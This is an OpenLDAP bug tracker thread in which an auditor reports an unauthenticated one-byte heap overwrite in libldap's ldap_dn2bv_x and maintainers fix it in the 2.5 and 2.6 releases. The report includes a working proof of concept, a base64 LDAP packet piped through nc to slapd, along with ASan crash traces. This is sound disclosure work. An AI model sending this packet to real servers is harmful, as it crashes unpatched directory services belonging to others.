https://bugs.openldap.org/show_bug.cgi?id=10144
Issue ID: 10144 Summary: Buffer overwrite in ldap_dn2bv_x Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs@openldap.org Reporter: joshua@joshua.hu Target Milestone: ---
Created attachment 995 --> https://bugs.openldap.org/attachment.cgi?id=995&action=edit ldap.c
Hi there,
While performing a security audit of openldap, I've discovered a buffer overwrite in the ldap_dn2bv_x function of libldap which can be triggered via an unauthenticated packet to slapd.
The issue is specifically in this part oft he code:
3069 /* 3070 * trim the last ',' (the allocated memory 3071 * is one byte longer than required) 3072 */ 3073 bv->bv_len = len - 1; 3074 bv->bv_val[ bv->bv_len ] = '\0';
'len' may be 0, therefore bv->bv_len becomes (unsigned long)-1 == 18446744073709551615, causing a one-byte buffer overwrite in bv->bv_len.
It may be len when rdn2str returns 0:
3055 for ( l = 0, iRDN = 0; dn[ iRDN ]; iRDN++ ) { 3056 ber_len_t rdnl; 3057 3058 if ( rdn2str( dn[ iRDN ], &bv->bv_val[ l ], flags, 3059 &rdnl, sv2s ) ) { 3060 LDAP_FREEX( bv->bv_val, ctx ); 3061 bv->bv_val = NULL; 3062 goto return_results; 3063 } 3064 l += rdnl; 3065 }
which it may do if
2571 static int 2572 rdn2str( LDAPRDN rdn, char *str, unsigned flags, ber_len_t *len, 2573 int ( *s2s ) ( struct berval *v, char * s, unsigned f, ber_len_t *l ) ) 2574 { 2575 int iAVA; 2576 ber_len_t l = 0; 2577 2578 for ( iAVA = 0; rdn[ iAVA ]; iAVA++ ) { [...] 2606 *len = l; 2607 2608 return( 0 ); 2609 }
rdn[0] (i.e. dn[0][0]) is zero.
There is already a check in ldap_dn2bv_x to ensure that there is not a null distinguished name, but no check for a null relative distinguished name: 3021 /* 3022 * a null dn means an empty dn string 3023 * FIXME: better raise an error? 3024 */ 3025 if ( dn == NULL || dn[0] == NULL ) { 3026 bv->bv_val = LDAP_STRDUPX( "", ctx ); 3027 return( LDAP_SUCCESS ); 3028 }
This can be reproduced using the API and compiling with address sanitizer: clang -g -O0 -fsanitize=address -o ldap ldap.c -I/usr/local/include -L/usr/local/lib -Wl,-rpath=/usr/local/lib -lldap which crashes:
================================================================= ==2685861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004c0f at pc 0x7ffff7ecae9d bp 0x7fffffff7390 sp 0x7fffffff7388 WRITE of size 1 at 0x602000004c0f thread T0 #0 0x7ffff7ecae9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #3 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #4 0x7ffff7b25e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #5 0x555555572324 in _start (/home/jrogers/test+0x1e324) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85)
0x602000004c0f is located 1 bytes to the left of 1-byte region [0x602000004c10,0x602000004c11) allocated by thread T0 here: #0 0x5555555f516e in malloc (/home/jrogers/test+0xa116e) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) #1 0x7ffff7ae8303 in ber_memalloc_x /home/jrogers/openldap-clean/libraries/liblber/memory.c:228:9 #2 0x7ffff7eca968 in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3050:23 #3 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #4 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #5 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0)
Alternatively you can send the following to a running slapd server:
printf "MIIB5AIEMDAwMEqCATBPPTAwMDAwMDAwMDAwMDAwMDDvvrLvvrLvvrLvvrLvvrLvvrLvp7LvvrLvtrLvvrLvvrLvvrLvvrLvvrLvvrLvvrIsCgoKMi41LjQuMzk9MGswMDAGMDAwMDAwMAYxATEwMTAYGDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4XDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAMDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=" | base64 -d | nc localhost 389
which will exhibit the same behavior:
==1673381==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200004c14f at pc 0x7ffff7ec0e9d bp 0x7fffb40c6e70 sp 0x7fffb40c6e68 WRITE of size 1 at 0x60200004c14f thread T2 [Detaching after fork from child process 3777333] #0 0x7ffff7ec0e9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f26135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x555555820765 in dnX509normalize (/usr/local/libexec/slapd+0x2cc765) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #3 0x5555558e55a1 (/usr/local/libexec/slapd+0x3915a1) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #4 0x555555819d06 (/usr/local/libexec/slapd+0x2c5d06) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #5 0x5555558187b8 (/usr/local/libexec/slapd+0x2c47b8) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #6 0x55555581c6de in dnPrettyNormal (/usr/local/libexec/slapd+0x2c86de) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #7 0x555555835c95 in do_delete (/usr/local/libexec/slapd+0x2e1c95) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #8 0x5555557a8ef5 (/usr/local/libexec/slapd+0x254ef5) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #9 0x5555557a21f9 (/usr/local/libexec/slapd+0x24e1f9) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #10 0x7ffff7f592c4 in ldap_int_thread_pool_wrapper /home/jrogers/openldap-clean/libraries/libldap/tpool.c:1059:3 #11 0x7ffff785eac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #12 0x7ffff78f065f (/lib/x86_64-linux-gnu/libc.so.6+0x12665f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0)
https://bugs.openldap.org/show_bug.cgi?id=10144
Howard Chu hyc@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Version|2.6.6 |2.5.16 Status|UNCONFIRMED |RESOLVED Resolution|--- |FIXED
--- Comment #1 from Howard Chu hyc@openldap.org --- Thanks for the report. An empty RDN is not allowed according to RFC4514. Fixed now in git master.
https://bugs.openldap.org/show_bug.cgi?id=10144
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Target Milestone|--- |2.5.17 Keywords|needs_review | Assignee|bugs@openldap.org |hyc@openldap.org
https://bugs.openldap.org/show_bug.cgi?id=10144
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Resolution|FIXED |TEST
--- Comment #2 from Quanah Gibson-Mount quanah@openldap.org --- head:
• 4c80d78d by Howard Chu at 2023-12-16T12:47:55+00:00 ITS#10144 libldap: RDNs must contain at least 1 AVA
https://bugs.openldap.org/show_bug.cgi?id=10144
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Resolution|TEST |FIXED
--- Comment #3 from Quanah Gibson-Mount quanah@openldap.org --- RE26:
• 214c14e2 by Howard Chu at 2024-01-16T19:14:16+00:00 ITS#10144 libldap: RDNs must contain at least 1 AVA
RE25:
• e438f4c5 by Howard Chu at 2024-01-16T19:14:48+00:00 ITS#10144 libldap: RDNs must contain at least 1 AVA
https://bugs.openldap.org/show_bug.cgi?id=10144
Quanah Gibson-Mount quanah@openldap.org changed:
What |Removed |Added ---------------------------------------------------------------------------- Status|RESOLVED |VERIFIED